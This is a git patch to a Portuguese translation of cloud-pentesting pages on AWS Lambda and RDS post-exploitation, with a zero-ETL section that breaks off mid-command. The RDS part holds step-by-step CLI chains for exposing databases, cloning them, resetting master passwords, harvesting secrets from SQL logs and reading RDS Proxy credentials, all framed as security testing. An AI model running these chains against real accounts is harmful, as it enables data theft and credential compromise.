From 9ef9f43f63a71c3df055c6d52fdb6b3e2e9c4d57 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 7 Oct 2025 15:39:13 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws --- .../aws-lambda-post-exploitation/README.md | 32 +- .../aws-rds-post-exploitation.md | 476 +++++++++++++++++- 2 files changed, 474 insertions(+), 34 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 2f2424c9e..2fd45ca12 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -1,32 +1,32 @@ -# AWS - Lambda Pós-Exploração +# AWS - Lambda Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## Lambda -Para mais informações consulte: +Para mais informações, consulte: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Exfiltrar credenciais do Lambda +### Exfilrtate Lambda Credentials -Lambda usa variáveis de ambiente para injetar credentials em tempo de execução. Se você conseguir acessá-las (lendo `/proc/self/environ` ou usando a própria função vulnerável), pode usá-las. Elas ficam nas variáveis padrão `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` e `AWS_ACCESS_KEY_ID`. +Lambda usa variáveis de ambiente para injetar credenciais em tempo de execução. Se você conseguir acessá-las (lendo `/proc/self/environ` ou usando a própria função vulnerável), poderá usá-las. Elas estão nas variáveis padrão `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, e `AWS_ACCESS_KEY_ID`. -Por padrão, essas credenciais têm permissão para gravar em um cloudwatch log group (seu nome é armazenado em `AWS_LAMBDA_LOG_GROUP_NAME`), além de criar log groups arbitrários; entretanto, funções lambda frequentemente têm mais permissões atribuídas conforme seu uso pretendido. +Por padrão, essas credenciais terão acesso para escrever em um CloudWatch log group (cujo nome fica em `AWS_LAMBDA_LOG_GROUP_NAME`), assim como para criar log groups arbitrários; entretanto, funções Lambda frequentemente têm mais permissões atribuídas conforme seu uso. -### Roubar solicitações de URL de outras Lambdas +### Steal Others Lambda URL Requests -Se um atacante de alguma forma obtiver RCE dentro de uma Lambda, ele poderá roubar requisições HTTP de outros usuários para essa lambda. Se as requisições contiverem informações sensíveis (cookies, credentials...) ele poderá exfiltrar esses dados. +Se um atacante de alguma forma conseguir RCE dentro de uma Lambda, ele poderá roubar as requisições HTTP de outros usuários para a Lambda. Se as requisições contiverem informações sensíveis (cookies, credenciais...), ele poderá capturá-las. {{#ref}} aws-warm-lambda-persistence.md {{#endref}} -### Roubar solicitações de URL de outras Lambdas & requisições de Extensions +### Steal Others Lambda URL Requests & Extensions Requests -Abusando de Lambda Layers também é possível abusar de extensions e persistir na lambda, além de roubar e modificar requisições. +Abusando de Lambda Layers também é possível explorar extensions e persistir na Lambda, além de roubar e modificar requisições. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -34,7 +34,7 @@ Abusando de Lambda Layers também é possível abusar de extensions e persistir ### AWS Lambda – VPC Egress Bypass -Force uma função Lambda a sair de um VPC restrito atualizando sua configuração com um VpcConfig vazio (SubnetIds=[], SecurityGroupIds=[]). A função então rodará no plano de rede gerenciado pelo Lambda, recuperando acesso de saída à internet e contornando controles de egress aplicados por subnets privadas do VPC sem NAT. +Forçar uma função Lambda a sair de uma VPC restrita atualizando sua configuração com um VpcConfig vazio (SubnetIds=[], SecurityGroupIds=[]). A função então será executada no plano de rede gerenciado pela Lambda, recuperando o acesso à internet outbound e contornando os controles de egress aplicados por subnets privadas da VPC sem NAT. {{#ref}} aws-lambda-vpc-egress-bypass.md @@ -42,7 +42,7 @@ aws-lambda-vpc-egress-bypass.md ### AWS Lambda – Runtime Pinning/Rollback Abuse -Abuse `lambda:PutRuntimeManagementConfig` para fixar uma função a uma versão específica de runtime (Manual) ou congelar atualizações (FunctionUpdate). Isso preserva compatibilidade com layers/wrappers maliciosos e pode manter a função em um runtime desatualizado e vulnerável para facilitar exploração e persistência de longo prazo. +Abuse `lambda:PutRuntimeManagementConfig` para fixar uma função a uma versão específica do runtime (Manual) ou congelar atualizações (FunctionUpdate). Isso preserva compatibilidade com layers/wrappers maliciosos e pode manter a função em um runtime desatualizado e vulnerável, facilitando exploração e persistência de longo prazo. {{#ref}} aws-lambda-runtime-pinning-abuse.md @@ -50,7 +50,7 @@ aws-lambda-runtime-pinning-abuse.md ### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection -Abuse os controles avançados de logging de `lambda:UpdateFunctionConfiguration` para redirecionar os logs de uma função para um CloudWatch Logs log group escolhido pelo atacante. Isso funciona sem alterar código ou a execution role (a maioria das roles do Lambda já inclui `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). Se a função imprimir secrets/request bodies ou travar com stack traces, você pode coletá-los do novo log group. +Abuse `lambda:UpdateFunctionConfiguration` usando controles avançados de logging para redirecionar os logs de uma função para um log group do CloudWatch Logs escolhido pelo atacante. Isso funciona sem alterar o código ou a execution role (a maioria das roles do Lambda já inclui `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). Se a função imprimir segredos/corpos de requisição ou falhar com stack traces, você pode coletá-los do novo log group. {{#ref}} aws-lambda-loggingconfig-redirection.md @@ -58,7 +58,7 @@ aws-lambda-loggingconfig-redirection.md ### AWS - Lambda Function URL Public Exposure -Transforme um Lambda Function URL privado em um endpoint público não autenticado trocando o Function URL AuthType para NONE e anexando uma resource-based policy que concede lambda:InvokeFunctionUrl a todos. Isso permite invocação anônima de funções internas e pode expor operações backend sensíveis. +Transforme uma Lambda Function URL privada em um endpoint público não autenticado mudando o Function URL AuthType para NONE e anexando uma resource-based policy que conceda lambda:InvokeFunctionUrl a todos. Isso permite invocação anônima de funções internas e pode expor operações sensíveis do backend. {{#ref}} aws-lambda-function-url-public-exposure.md @@ -66,15 +66,15 @@ aws-lambda-function-url-public-exposure.md ### AWS Lambda – Event Source Mapping Target Hijack -Abuse `UpdateEventSourceMapping` para alterar a função Lambda alvo de um Event Source Mapping (ESM) existente, de modo que registros de DynamoDB Streams, Kinesis ou SQS sejam entregues a uma função controlada pelo atacante. Isso desvia silenciosamente dados ao vivo sem tocar nos produtores ou no código da função original. +Abuse `UpdateEventSourceMapping` para alterar a função Lambda alvo de um Event Source Mapping (ESM) existente, fazendo com que registros do DynamoDB Streams, Kinesis, ou SQS sejam entregues a uma função controlada pelo atacante. Isso desvia silenciosamente dados em tempo real sem tocar nos produtores ou no código da função original. {{#ref}} aws-lambda-event-source-mapping-hijack.md {{#endref}} -### AWS Lambda – EFS Mount Injection exfiltração de dados +### AWS Lambda – EFS Mount Injection data exfiltration -Abuse `lambda:UpdateFunctionConfiguration` para anexar um EFS Access Point existente a uma Lambda e então deployar código trivial que liste/leia arquivos do caminho montado para exfiltrar secrets/config compartilhados que a função antes não podia acessar. +Abuse `lambda:UpdateFunctionConfiguration` para anexar um EFS Access Point existente a uma Lambda, então implante código trivial que liste/leia arquivos do caminho montado para exfiltrar segredos/configurações compartilhadas que a função anteriormente não conseguia acessar. {{#ref}} aws-lambda-efs-mount-injection.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md index 254413bc2..ad223286c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md @@ -4,7 +4,7 @@ ## RDS -Para mais informações, consulte: +Para mais informações, veja: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -12,7 +12,7 @@ Para mais informações, consulte: ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Se um atacante tiver permissões suficientes, ele pode tornar um **DB publicamente acessível** criando um snapshot do DB e, em seguida, um DB publicamente acessível a partir do snapshot. +Se o atacante tiver permissões suficientes, ele poderia tornar uma **DB publicamente acessível** criando um snapshot da DB e, em seguida, uma DB publicamente acessível a partir do snapshot. ```bash aws rds describe-db-instances # Get DB identifier @@ -40,9 +40,9 @@ aws rds modify-db-instance \ ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -Um atacante com essas permissões poderia **criar um snapshot de um DB** e torná-lo **publicamente** **disponível**. Então, ele poderia simplesmente criar em sua própria conta um DB a partir desse snapshot. +Um atacante com essas permissões poderia **criar um snapshot de um DB** e torná-lo **publicamente** **disponível**. Em seguida, ele poderia simplesmente criar em sua própria conta um DB a partir desse snapshot. -Se o atacante **não tiver a `rds:CreateDBSnapshot`**, ele ainda poderia tornar **outros** snapshots criados **públicos**. +Se o atacante **não tiver o `rds:CreateDBSnapshot`**, ele ainda poderia tornar **outros** snapshots criados **públicos**. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -53,11 +53,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar porções dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem registrados acidentalmente, o atacante poderia usar essas informações para escalar seus privilégios ou executar ações não autorizadas. +Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar partes dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem registrados acidentalmente, o atacante poderia potencialmente usar essas informações para escalar seus privilégios ou realizar ações não autorizadas. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**Impacto Potencial**: Acesso a informações sensíveis ou execução de ações não autorizadas usando credenciais vazadas. +**Impacto Potencial**: Acesso a informações sensíveis ou execução de ações não autorizadas usando leaked credentials. ### `rds:DeleteDBInstance` @@ -73,28 +73,28 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final > [!NOTE] > TODO: Testar -Um atacante com essa permissão pode **exportar um snapshot da instância RDS para um bucket S3**. Se o atacante tiver controle sobre o bucket S3 de destino, ele poderá potencialmente acessar dados sensíveis contidos no snapshot exportado. +Um atacante com essa permissão pode **exportar um snapshot de uma instância RDS para um bucket S3**. Se o atacante tiver controle sobre o bucket S3 de destino, ele pode potencialmente acessar dados sensíveis dentro do snapshot exportado. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` -**Impacto potencial**: Acesso a dados sensíveis no snapshot exportado. +**Potencial impacto**: Acesso a dados sensíveis no snapshot exportado. -### Replicação de Backups Automatizados entre Regiões para Restauração Furtiva (`rds:StartDBInstanceAutomatedBackupsReplication`) +### Replicação de Backups Automatizados entre Regiões para Restauração Sigilosa (`rds:StartDBInstanceAutomatedBackupsReplication`) -Explorar a replicação de backups automatizados entre Regiões para duplicar silenciosamente os backups automatizados de uma instância RDS em outra Região da AWS e restaurá-los lá. O atacante pode então tornar o DB restaurado publicamente acessível e redefinir a senha master para acessar os dados fora de banda em uma Região que os defensores podem não monitorar. +Abuse a replicação de backups automatizados entre Regiões para duplicar silenciosamente os backups automatizados de uma instância RDS em outra Região AWS e restaurá-los lá. O atacante pode então tornar o DB restaurado publicamente acessível e redefinir a senha mestre para acessar os dados fora do ambiente monitorado em uma Região que os defensores podem não vigiar. Permissões necessárias (mínimo): -- `rds:StartDBInstanceAutomatedBackupsReplication` na Região de destino -- `rds:DescribeDBInstanceAutomatedBackups` na Região de destino -- `rds:RestoreDBInstanceToPointInTime` na Região de destino -- `rds:ModifyDBInstance` na Região de destino -- `rds:StopDBInstanceAutomatedBackupsReplication` (limpeza opcional) -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (para expor o DB restaurado) +- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region +- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region +- `rds:RestoreDBInstanceToPointInTime` in the destination Region +- `rds:ModifyDBInstance` in the destination Region +- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB) -Impacto: Persistência e exfiltração de dados ao restaurar uma cópia dos dados de produção em outra Região e expô-los publicamente com credenciais controladas pelo atacante. +Impacto: Persistência e exfiltração de dados ao restaurar uma cópia dos dados de produção em outra Região e expô-la publicamente com credenciais controladas pelo atacante.
-CLI ponta a ponta (substitua os placeholders) +CLI de ponta a ponta (substitua os marcadores de posição) ```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ @@ -163,4 +163,444 @@ aws rds stop-db-instance-automated-backups-replication \
+### Habilitar logging SQL completo via DB parameter groups e exfiltrate via RDS log APIs + +Abuse `rds:ModifyDBParameterGroup` com as APIs de download de logs do RDS para capturar todas as instruções SQL executadas pelas aplicações (não são necessárias credenciais do engine do DB). Ative o SQL logging do engine e recupere os arquivos de log via `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (ou o REST `downloadCompleteLogFile`). Útil para coletar queries que podem conter secrets/PII/JWTs. + +Permissões necessárias (mínimas): +- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` +- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` +- `rds:ModifyDBInstance` (apenas para anexar um parameter group customizado se a instância estiver usando o padrão) +- `rds:RebootDBInstance` (para parâmetros que exigem reboot, ex.: PostgreSQL) + +Steps +1) Recon target and current parameter group +```bash +aws rds describe-db-instances \ +--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ +--output table +``` +2) Certifique-se de que um DB parameter group personalizado esteja anexado (não é possível editar o padrão) +- Se a instância já usa um grupo personalizado, reutilize seu nome na próxima etapa. +- Caso contrário, crie e anexe um que corresponda à família do engine: +```bash +# Example for PostgreSQL 16 +aws rds create-db-parameter-group \ +--db-parameter-group-name ht-logs-pg \ +--db-parameter-group-family postgres16 \ +--description "HT logging" + +aws rds modify-db-instance \ +--db-instance-identifier \ +--db-parameter-group-name ht-logs-pg \ +--apply-immediately +# Wait until status becomes "available" +``` +3) Ativar registro SQL detalhado +- MySQL engines (imediato / sem reinicialização): +```bash +aws rds modify-db-parameter-group \ +--db-parameter-group-name \ +--parameters \ +"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \ +"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate" +# Optional extras: +# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \ +# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate" +``` +- PostgreSQL engines (requer reinicialização): +```bash +aws rds modify-db-parameter-group \ +--db-parameter-group-name \ +--parameters \ +"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot" +# Optional to log duration for every statement: +# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot" + +# Reboot if any parameter is pending-reboot +aws rds reboot-db-instance --db-instance-identifier +``` +4) Deixe a workload rodar (ou gere queries). Statements serão gravados nos arquivos de log do engine +- MySQL: `general/mysql-general.log` +- PostgreSQL: `postgresql.log` + +5) Descubra e baixe os logs (não são necessárias credenciais do DB) +```bash +aws rds describe-db-log-files --db-instance-identifier + +# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough: +aws rds download-db-log-file-portion \ +--db-instance-identifier \ +--log-file-name general/mysql-general.log \ +--starting-token 0 \ +--output text > dump.log +``` +6) Analisar offline em busca de dados sensíveis +```bash +grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head +``` +Exemplo de evidência (redigida): +```text +2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!') +2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED') +2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED') +``` +Limpeza +- Reverter parâmetros para os valores padrão e reiniciar se necessário: +```bash +# MySQL +aws rds modify-db-parameter-group \ +--db-parameter-group-name \ +--parameters \ +"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate" + +# PostgreSQL +aws rds modify-db-parameter-group \ +--db-parameter-group-name \ +--parameters \ +"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" +# Reboot if pending-reboot +``` +Impacto: Post-exploitation data access capturando todas as instruções SQL da aplicação via AWS APIs (no DB creds), potencialmente leaking secrets, JWTs e PII. + +### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` + +Abuse RDS read replicas para obter acesso de leitura out-of-band sem tocar nas credenciais da instância primary. Um atacante pode criar um read replica a partir de uma instância de produção, resetar a replica's master password (isso não altera a primary), e, opcionalmente, expor a replica publicamente para exfiltrate data. + +Permissões necessárias (mínimo): +- `rds:DescribeDBInstances` +- `rds:CreateDBInstanceReadReplica` +- `rds:ModifyDBInstance` +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly) + +Impacto: Acesso read-only aos dados de produção via uma replica com credenciais controladas pelo atacante; menor probabilidade de detecção já que a primary permanece intocada e a replicação continua. +```bash +# 1) Recon: find non-Aurora sources with backups enabled +aws rds describe-db-instances \ +--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \ +--output table + +# 2) Create a permissive SG (replace and ) +aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id --query GroupId --output text +aws ec2 authorize-security-group-ingress --group-id --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"","Description":"tester"}]}]' + +# 3) Create the read replica (optionally public) +aws rds create-db-instance-read-replica \ +--db-instance-identifier \ +--source-db-instance-identifier \ +--db-instance-class db.t3.medium \ +--publicly-accessible \ +--vpc-security-group-ids +aws rds wait db-instance-available --db-instance-identifier + +# 4) Reset ONLY the replica master password (primary unchanged) +aws rds modify-db-instance --db-instance-identifier --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately +aws rds wait db-instance-available --db-instance-identifier + +# 5) Connect and dump (use the SOURCE master username + NEW password) +REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier --query 'DBInstances[0].Endpoint.Address' --output text) +# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();' + +# Optional: promote for persistence +# aws rds promote-read-replica --db-instance-identifier +``` +Exemplo de evidência (MySQL): +- Status da réplica DB: `available`, replicação de leitura: `replicating` +- Conexão bem-sucedida com a nova senha e `@@read_only=1` confirmando acesso de réplica somente leitura. + +### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` + +Abuse RDS Blue/Green para clonar um DB de produção em um ambiente green continuamente replicado e somente leitura. Em seguida, redefina as credenciais master do ambiente green para acessar os dados sem tocar na instância blue (prod). Isso é mais furtivo do que o compartilhamento de snapshots e frequentemente contorna monitoramento focado apenas na origem. +```bash +# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) +aws rds describe-db-instances \ +--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]' + +# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version + +# 2) Create Blue/Green deployment (replicates blue->green continuously) +aws rds create-blue-green-deployment \ +--blue-green-deployment-name ht-bgd-attack \ +--source \ +# Optional to upgrade: --target-engine-version + +# Wait until deployment Status becomes AVAILABLE, then note the green DB id +aws rds describe-blue-green-deployments \ +--blue-green-deployment-identifier \ +--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember' + +# Typical green id: -green-XXXX + +# 3) Reset the green master password (does not affect blue) +aws rds modify-db-instance \ +--db-instance-identifier \ +--master-user-password 'Gr33n!Exfil#1' \ +--apply-immediately + +# Optional: expose the green for direct access (attach an SG that allows the DB port) +aws rds modify-db-instance \ +--db-instance-identifier \ +--publicly-accessible \ +--vpc-security-group-ids \ +--apply-immediately + +# 4) Connect to the green endpoint and query/exfiltrate (green is read‑only) +aws rds describe-db-instances \ +--db-instance-identifier \ +--query 'DBInstances[0].Endpoint.Address' --output text + +# Then connect with the master username and the new password and run SELECT/dumps +# e.g. MySQL: mysql -h -u -p'Gr33n!Exfil#1' + +# 5) Cleanup – remove blue/green and the green resources +aws rds delete-blue-green-deployment \ +--blue-green-deployment-identifier \ +--delete-target true +``` +Impacto: Acesso somente leitura, mas com dados completos de um clone quase em tempo real da produção, sem modificar a instância de produção. Útil para extração discreta de dados e análise offline. + +### SQL fora de banda via RDS Data API ativando o endpoint HTTP + redefinindo a senha master + +Explorar Aurora para habilitar o endpoint HTTP do RDS Data API em um cluster alvo, redefinir a senha master para um valor que você controla e executar SQL via HTTPS (nenhum caminho de rede VPC necessário). Funciona em engines Aurora que suportam o Data API/EnableHttpEndpoint (por exemplo, Aurora MySQL 8.0 provisioned; algumas versões do Aurora PostgreSQL/MySQL). + +Permissões (mínimas): +- rds:DescribeDBClusters, rds:ModifyDBCluster (ou rds:EnableHttpEndpoint) +- secretsmanager:CreateSecret +- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) + +Impacto: Contornar a segmentação de rede e exfiltrar dados via AWS APIs sem conectividade VPC direta ao DB. + +
+CLI de ponta a ponta (exemplo Aurora MySQL) +```bash +# 1) Identify target cluster ARN +REGION=us-east-1 +CLUSTER_ID= +CLUSTER_ARN=$(aws rds describe-db-clusters --region $REGION \ +--db-cluster-identifier $CLUSTER_ID \ +--query 'DBClusters[0].DBClusterArn' --output text) + +# 2) Enable Data API HTTP endpoint on the cluster +# Either of the following (depending on API/engine support): +aws rds enable-http-endpoint --region $REGION --resource-arn "$CLUSTER_ARN" +# or +aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--enable-http-endpoint --apply-immediately + +# Wait until HttpEndpointEnabled is True +aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID +aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--query 'DBClusters[0].HttpEndpointEnabled' --output text + +# 3) Reset master password to attacker-controlled value +aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--master-user-password 'Sup3rStr0ng!1' --apply-immediately +# Wait until pending password change is applied +while :; do +aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID +P=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID \ +--query 'DBClusters[0].PendingModifiedValues.MasterUserPassword' --output text) +[[ "$P" == "None" || "$P" == "null" ]] && break +sleep 10 +done + +# 4) Create a Secrets Manager secret for Data API auth +SECRET_ARN=$(aws secretsmanager create-secret --region $REGION --name rdsdata/demo-$CLUSTER_ID \ +--secret-string '{"username":"admin","password":"Sup3rStr0ng!1"}' \ +--query ARN --output text) + +# 5) Prove out-of-band SQL via HTTPS using rds-data +# (Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly) +aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ +--secret-arn "$SECRET_ARN" --database mysql --sql "create database if not exists demo;" +aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ +--secret-arn "$SECRET_ARN" --database demo --sql "create table if not exists pii(note text);" +aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ +--secret-arn "$SECRET_ARN" --database demo --sql "insert into pii(note) values ('token=SECRET_JWT');" +aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \ +--secret-arn "$SECRET_ARN" --database demo --sql "select current_user(), now(), (select count(*) from pii) as row_count;" \ +--format-records-as JSON +``` +
+ +Notas: +- Se SQL com múltiplas instruções for rejeitado pelo rds-data, faça chamadas execute-statement separadas. +- Para engines onde modify-db-cluster --enable-http-endpoint não tem efeito, use rds enable-http-endpoint --resource-arn. +- Garanta que o engine/version realmente suporte o Data API; caso contrário HttpEndpointEnabled permanecerá False. + + +### Obter credenciais de DB via segredos de autenticação do RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) + +Abusar da configuração do RDS Proxy para descobrir o segredo do Secrets Manager usado na autenticação do backend, depois ler o segredo para obter as credenciais do banco de dados. Muitos ambientes concedem permissões amplas de `secretsmanager:GetSecretValue`, tornando isso um pivot de baixa fricção para credenciais de DB. Se o segredo usar uma CMK, permissões KMS mal escopadas também podem permitir `kms:Decrypt`. + +Permissões necessárias (mínimas): +- `rds:DescribeDBProxies` +- `secretsmanager:GetSecretValue` no SecretArn referenciado +- Opcional quando o segredo usa uma CMK: `kms:Decrypt` nessa chave + +Impacto: Divulgação imediata do nome de usuário/senha do DB configurado no proxy; possibilita acesso direto ao DB ou movimento lateral adicional. + +Passos +```bash +# 1) Enumerate proxies and extract the SecretArn used for auth +aws rds describe-db-proxies \ +--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \ +--output table + +# 2) Read the secret value (common over-permission) +aws secretsmanager get-secret-value \ +--secret-id \ +--query SecretString --output text +# Example output: {"username":"admin","password":"S3cr3t!"} +``` +Laboratório (mínimo para reproduzir) +```bash +REGION=us-east-1 +ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +SECRET_ARN=$(aws secretsmanager create-secret \ +--region $REGION --name rds/proxy/aurora-demo \ +--secret-string username:admin \ +--query ARN --output text) +aws iam create-role --role-name rds-proxy-secret-role \ +--assume-role-policy-document Version:2012-10-17 +aws iam attach-role-policy --role-name rds-proxy-secret-role \ +--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite +aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \ +--auth [AuthScheme:SECRETS] \ +--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \ +--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text) +aws rds wait db-proxy-available --db-proxy-name p0 +# Now run the enumeration + secret read from the Steps above +``` +Limpeza (laboratório) +```bash +aws rds delete-db-proxy --db-proxy-name p0 +aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite +aws iam delete-role --role-name rds-proxy-secret-role +aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery +``` +### Exfiltração contínua e furtiva via Aurora zero‑ETL para Amazon Redshift (rds:CreateIntegration) + +Abuse a integração zero‑ETL do Aurora PostgreSQL para replicar continuamente dados de produção para um namespace Redshift Serverless que você controla. Com uma política de recurso permissiva do Redshift que autorize CreateInboundIntegration/AuthorizeInboundIntegration para um ARN de cluster Aurora específico, um atacante pode estabelecer uma cópia de dados quase em tempo real sem DB creds, snapshots ou exposição de rede. + +Permissões necessárias (mínimo): +- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` +- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations` +- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (para consultar) +- `rds-data:ExecuteStatement` (opcional; para popular dados se necessário) + +Testado em: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless. + +
+1) Criar namespace Redshift Serverless + workgroup +```bash +REGION=us-east-1 +RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ +--admin-username adminuser --admin-user-password 'AdminPwd-1!' \ +--query namespace.namespaceArn --output text) +RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ +--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ +--query workgroup.workgroupArn --output text) +# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) +aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ +--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true +``` +
+ +
+2) Configurar a política de recurso do Redshift para permitir a origem Aurora +```bash +ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +SRC_ARN= +cat > rs-rp.json < + +
